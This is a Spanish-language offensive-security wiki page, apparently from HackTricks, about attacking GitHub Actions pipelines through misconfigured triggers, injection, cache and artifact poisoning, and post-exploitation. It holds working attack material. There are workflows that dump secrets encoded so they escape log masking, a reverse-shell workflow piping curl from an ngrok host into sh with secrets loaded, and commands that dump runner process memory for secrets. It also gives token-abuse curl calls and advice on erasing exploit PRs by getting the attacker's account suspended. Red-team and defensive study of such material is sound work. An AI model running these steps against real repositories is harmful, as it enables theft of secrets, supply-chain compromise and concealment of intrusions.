# Abusando de Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
En esta página encontrarás:
- Un **resumen de todos los impactos** de un atacante que logra acceder a una Github Action
- Diferentes formas de **obtener acceso a una acción**:
- Tener **permisos** para crear la acción
- Abusar de los **triggers** relacionados con **pull requests**
- Abusar de **otras técnicas de acceso externo**
- **Pivotar** desde un repositorio ya comprometido
- Finalmente, una sección sobre **técnicas de post-explotación para abusar de una acción desde adentro** (causando los impactos mencionados)
## Resumen de Impactos
Para una introducción sobre [**Github Actions consulta la información básica**](../basic-github-information.md#github-actions).
Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repositorio**, podrías ser capaz de:
- **Robar secretos** montados en la pipeline y **abusar de los privilegios de la pipeline** para obtener acceso no autorizado a plataformas externas, como AWS y GCP.
- **Comprometer despliegues** y otros **artefactos**.
- Si la pipeline despliega o almacena activos, podrías alterar el producto final, habilitando un ataque a la cadena de suministro.
- **Ejecutar código en trabajadores personalizados** para abusar del poder computacional y pivotar a otros sistemas.
- **Sobrescribir el código del repositorio**, dependiendo de los permisos asociados con el `GITHUB_TOKEN`.
## GITHUB_TOKEN
Este "**secreto**" (proveniente de `${{ secrets.GITHUB_TOKEN }}` y `${{ github.token }}`) se otorga cuando el administrador habilita esta opción:
Este token es el mismo que una **Aplicación de Github utilizará**, por lo que puede acceder a los mismos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github debería liberar un [**flujo**](https://github.com/github/roadmap/issues/74) que **permita el acceso entre repositorios** dentro de GitHub, para que un repositorio pueda acceder a otros repositorios internos utilizando el `GITHUB_TOKEN`.
Puedes ver los posibles **permisos** de este token en: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Ten en cuenta que el token **expira después de que el trabajo ha finalizado**.\
Estos tokens lucen así: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Algunas cosas interesantes que puedes hacer con este token:
{{#tabs }}
{{#tab name="Merge PR" }}
```bash
# Merge PR
curl -X PUT \
https://api.github.com/repos///pulls//merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Aprobar PR" }}
```bash
# Approve a PR
curl -X POST \
https://api.github.com/repos///pulls//reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Crear PR" }}
```bash
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos///pulls \
-d '{"head":"","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Tenga en cuenta que en varias ocasiones podrá encontrar **tokens de usuario de github dentro de los entornos de Github Actions o en los secretos**. Estos tokens pueden otorgarle más privilegios sobre el repositorio y la organización.
Listar secretos en la salida de Github Action
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
Obtener shell inverso con secretos
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
Es posible verificar los permisos otorgados a un Github Token en los repositorios de otros usuarios **revisando los registros** de las acciones:
## Ejecución Permitida
> [!NOTE]
> Esta sería la forma más fácil de comprometer las acciones de Github, ya que este caso supone que tienes acceso para **crear un nuevo repositorio en la organización**, o tienes **privilegios de escritura sobre un repositorio**.
>
> Si te encuentras en este escenario, solo puedes revisar las [técnicas de Post Explotación](#post-exploitation-techniques-from-inside-an-action).
### Ejecución desde la Creación de un Repositorio
En caso de que los miembros de una organización puedan **crear nuevos repositorios** y tú puedas ejecutar acciones de github, puedes **crear un nuevo repositorio y robar los secretos establecidos a nivel de organización**.
### Ejecución desde una Nueva Rama
Si puedes **crear una nueva rama en un repositorio que ya contiene una Acción de Github** configurada, puedes **modificarla**, **subir** el contenido y luego **ejecutar esa acción desde la nueva rama**. De esta manera, puedes **exfiltrar secretos a nivel de repositorio y organización** (pero necesitas saber cómo se llaman).
Puedes hacer que la acción modificada sea ejecutable **manualmente,** cuando se **crea un PR** o cuando **se sube algún código** (dependiendo de cuán ruidoso quieras ser):
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---
## Ejecución Forked
> [!NOTE]
> Hay diferentes desencadenadores que podrían permitir a un atacante **ejecutar una Github Action de otro repositorio**. Si esas acciones desencadenables están mal configuradas, un atacante podría comprometerlas.
### `pull_request`
El desencadenador de flujo de trabajo **`pull_request`** ejecutará el flujo de trabajo cada vez que se reciba una solicitud de extracción con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** necesitará **aprobar** la **ejecución** del flujo de trabajo:
> [!NOTE]
> Como la **limitación predeterminada** es para **contribuyentes de primera vez**, podrías contribuir **corrigiendo un error/tipografía válido** y luego enviar **otras PRs para abusar de tus nuevos privilegios de `pull_request`**.
>
> **Probé esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminó su cuenta.~~
Además, por defecto **previene permisos de escritura** y **acceso a secretos** al repositorio objetivo como se menciona en la [**documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> Con la excepción de `GITHUB_TOKEN`, **los secretos no se pasan al runner** cuando un flujo de trabajo es desencadenado desde un repositorio **forked**. El **`GITHUB_TOKEN` tiene permisos de solo lectura** en solicitudes de extracción **de repositorios forked**.
Un atacante podría modificar la definición de la Github Action para ejecutar cosas arbitrarias y agregar acciones arbitrarias. Sin embargo, no podrá robar secretos ni sobrescribir el repositorio debido a las limitaciones mencionadas.
> [!CAUTION]
> **Sí, si el atacante cambia en la PR la github action que será desencadenada, su Github Action será la que se use y no la del repositorio de origen!**
Como el atacante también controla el código que se ejecuta, incluso si no hay secretos o permisos de escritura en el `GITHUB_TOKEN`, un atacante podría, por ejemplo, **subir artefactos maliciosos**.
### **`pull_request_target`**
El desencadenador de flujo de trabajo **`pull_request_target`** tiene **permiso de escritura** al repositorio objetivo y **acceso a secretos** (y no pide permiso).
Ten en cuenta que el desencadenador de flujo de trabajo **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por la PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target`, [**consulta la documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Además, para más información sobre este uso específico y peligroso, consulta este [**post del blog de github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Puede parecer que debido a que el **flujo de trabajo ejecutado** es el definido en la **base** y **no en la PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**.
Y este tendrá **acceso a secretos**.
### `workflow_run`
El desencadenador [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite ejecutar un flujo de trabajo desde otro cuando está `completado`, `solicitado` o `en progreso`.
En este ejemplo, un flujo de trabajo está configurado para ejecutarse después de que se complete el flujo de trabajo separado "Ejecutar Pruebas":
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
```
Además, según la documentación: El flujo de trabajo iniciado por el evento `workflow_run` puede **acceder a secretos y escribir tokens, incluso si el flujo de trabajo anterior no lo fue**.
Este tipo de flujo de trabajo podría ser atacado si **depende** de un **flujo de trabajo** que puede ser **activado** por un usuario externo a través de **`pull_request`** o **`pull_request_target`**. Un par de ejemplos vulnerables se pueden [**encontrar en este blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** El primero consiste en que el flujo de trabajo activado por **`workflow_run`** descarga el código del atacante: `${{ github.event.pull_request.head.sha }}`\
El segundo consiste en **pasar** un **artifact** del código **no confiable** al flujo de trabajo **`workflow_run`** y usar el contenido de este artifact de una manera que lo haga **vulnerable a RCE**.
### `workflow_call`
TODO
TODO: Verificar si al ejecutarse desde un pull_request el código utilizado/descargado es el de la fuente o el del PR bifurcado.
## Abusando de la Ejecución Bifurcada
Hemos mencionado todas las formas en que un atacante externo podría lograr que un flujo de trabajo de github se ejecute, ahora echemos un vistazo a cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas:
### Ejecución de checkout no confiable
En el caso de **`pull_request`,** el flujo de trabajo se ejecutará en el **contexto del PR** (por lo que ejecutará el **código malicioso del PR**), pero alguien necesita **autorizarlo primero** y se ejecutará con algunas [limitaciones](#pull_request).
En el caso de un flujo de trabajo que utiliza **`pull_request_target` o `workflow_run`** que depende de un flujo de trabajo que puede ser activado desde **`pull_request_target` o `pull_request`**, se ejecutará el código del repositorio original, por lo que el **atacante no puede controlar el código ejecutado**.
> [!CAUTION]
> Sin embargo, si la **acción** tiene un **checkout de PR explícito** que **obtendrá el código del PR** (y no de la base), utilizará el código controlado por el atacante. Por ejemplo (ver línea 12 donde se descarga el código del PR):
# INSECURE. Proporcionado solo como un ejemplo.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
¡Gracias!
El código potencialmente **no confiable se está ejecutando durante `npm install` o `npm build`** ya que los scripts de construcción y los **paquetes referenciados son controlados por el autor del PR**.
> [!WARNING]
> Un dork de github para buscar acciones vulnerables es: `event.pull_request pull_request_target extension:yml`, sin embargo, hay diferentes formas de configurar los trabajos para que se ejecuten de manera segura incluso si la acción está configurada de manera insegura (como usar condicionales sobre quién es el actor que genera el PR).
### Inyecciones de Script en Contexto
Tenga en cuenta que hay ciertos [**contextos de github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cuyos valores son **controlados** por el **usuario** que crea el PR. Si la acción de github está utilizando esos **datos para ejecutar algo**, podría llevar a **ejecución de código arbitrario:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **Inyección de Script GITHUB_ENV**
Según la documentación: Puede hacer que una **variable de entorno esté disponible para cualquier paso posterior** en un trabajo de flujo de trabajo definiendo o actualizando la variable de entorno y escribiendo esto en el archivo de entorno **`GITHUB_ENV`**.
Si un atacante pudiera **inyectar cualquier valor** dentro de esta **variable env**, podría inyectar variables de entorno que podrían ejecutar código en pasos posteriores como **LD_PRELOAD** o **NODE_OPTIONS**.
Por ejemplo ([**esto**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) y [**esto**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagina un flujo de trabajo que confía en un artifact subido para almacenar su contenido dentro de la variable de entorno **`GITHUB_ENV`**. Un atacante podría subir algo como esto para comprometerlo:
### Acciones de Github de Terceros Vulnerables
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
Como se mencionó en [**esta publicación de blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Acción de Github permite acceder a artifacts de diferentes flujos de trabajo e incluso repositorios.
El problema es que si el parámetro **`path`** no está configurado, el artifact se extrae en el directorio actual y puede sobrescribir archivos que podrían ser utilizados o incluso ejecutados más tarde en el flujo de trabajo. Por lo tanto, si el Artifact es vulnerable, un atacante podría abusar de esto para comprometer otros flujos de trabajo que confían en el Artifact.
Ejemplo de flujo de trabajo vulnerable:
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
Esto podría ser atacado con este flujo de trabajo:
```yaml
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---
## Otro Acceso Externo
### Secuestro de Repositorio de Namespace Eliminado
Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de un tiempo. Si un repositorio tenía **menos de 100 estrellas antes del cambio de nombre**, Github permitirá que el nuevo usuario registrado con el mismo nombre cree un **repositorio con el mismo nombre** que el eliminado.
> [!CAUTION]
> Así que si una acción está utilizando un repositorio de una cuenta no existente, aún es posible que un atacante pueda crear esa cuenta y comprometer la acción.
Si otros repositorios estaban utilizando **dependencias de los repositorios de este usuario**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Pivotar Repositorio
> [!NOTE]
> En esta sección hablaremos sobre técnicas que permitirían **pivotar de un repositorio a otro** suponiendo que tenemos algún tipo de acceso al primero (ver la sección anterior).
### Envenenamiento de Caché
Se mantiene una caché entre **ejecuciones de flujo de trabajo en la misma rama**. Lo que significa que si un atacante **compromete** un **paquete** que luego se almacena en la caché y es **descargado** y ejecutado por un flujo de trabajo **más privilegiado**, podrá **comprometer** también ese flujo de trabajo.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### Envenenamiento de Artefactos
Los flujos de trabajo podrían usar **artefactos de otros flujos de trabajo e incluso repositorios**, si un atacante logra **comprometer** la Acción de Github que **sube un artefacto** que luego es utilizado por otro flujo de trabajo, podría **comprometer los otros flujos de trabajo**:
{{#ref}}
gh-actions-artifact-poisoning.md
{{#endref}}
---
## Post Explotación desde una Acción
### Accediendo a AWS y GCP a través de OIDC
Consulta las siguientes páginas:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Accediendo a secretos
Si estás inyectando contenido en un script, es interesante saber cómo puedes acceder a secretos:
- Si el secreto o token está configurado como una **variable de entorno**, se puede acceder directamente a través del entorno usando **`printenv`**.
Listar secretos en la salida de Github Action
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
Obtener shell inverso con secretos
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
- Si el secreto se utiliza **directamente en una expresión**, el script de shell generado se almacena **en disco** y es accesible.
- ```bash
cat /home/runner/work/_temp/*
```
- Para las acciones de JavaScript, los secretos se envían a través de variables de entorno.
- ```bash
ps axe | grep node
```
- Para una **acción personalizada**, el riesgo puede variar dependiendo de cómo un programa esté utilizando el secreto que obtuvo del **argumento**:
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Abusando de los runners autoalojados
La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no de github** es buscar **`runs-on: self-hosted`** en la configuración yaml de Github Action.
Los runners **autoalojados** pueden tener acceso a **información extra sensible**, a otros **sistemas de red** (¿puntos finales vulnerables en la red? ¿servicio de metadatos?) o, incluso si está aislado y destruido, **más de una acción podría ejecutarse al mismo tiempo** y la maliciosa podría **robar los secretos** de la otra.
En los runners autoalojados también es posible obtener los **secretos del proceso \_Runner.Listener**\_\*\* que contendrá todos los secretos de los flujos de trabajo en cualquier paso al volcar su memoria:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Consulta [**esta publicación para más información**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Registro de Imágenes Docker de Github
Es posible crear acciones de Github que **construyan y almacenen una imagen Docker dentro de Github**.\
Un ejemplo se puede encontrar en el siguiente expandible:
Github Action Build & Push Docker Image
```yaml
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
Como pudiste ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**.
Un usuario con permisos de lectura sobre el repositorio podrá descargar la imagen de Docker utilizando un token de acceso personal:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
Luego, el usuario podría buscar **secretos filtrados en las capas de la imagen de Docker:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Información sensible en los registros de Github Actions
Incluso si **Github** intenta **detectar valores secretos** en los registros de acciones y **evitar mostrarlos**, **otros datos sensibles** que podrían haberse generado en la ejecución de la acción no estarán ocultos. Por ejemplo, un JWT firmado con un valor secreto no estará oculto a menos que esté [específicamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Cubriendo tus Huellas
(Técnica de [**aquí**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR levantada es claramente visible al público en Github y a la cuenta de GitHub objetivo. En GitHub, por defecto, **no podemos eliminar un PR de internet**, pero hay un giro. Para las cuentas de Github que están **suspendidas** por Github, todos sus **PRs son eliminados automáticamente** y removidos de internet. Así que, para ocultar tu actividad, necesitas o bien hacer que tu **cuenta de GitHub sea suspendida o que tu cuenta sea marcada**. Esto **ocultará todas tus actividades** en GitHub de internet (básicamente eliminará todos tus PR de explotación).
Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir "algunas cosas" en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github.
> [!WARNING]
> La única forma en que una organización puede darse cuenta de que ha sido objetivo es revisar los registros de GitHub desde SIEM, ya que desde la interfaz de GitHub el PR sería eliminado.
## Herramientas
Las siguientes herramientas son útiles para encontrar flujos de trabajo de Github Action e incluso encontrar algunos vulnerables:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}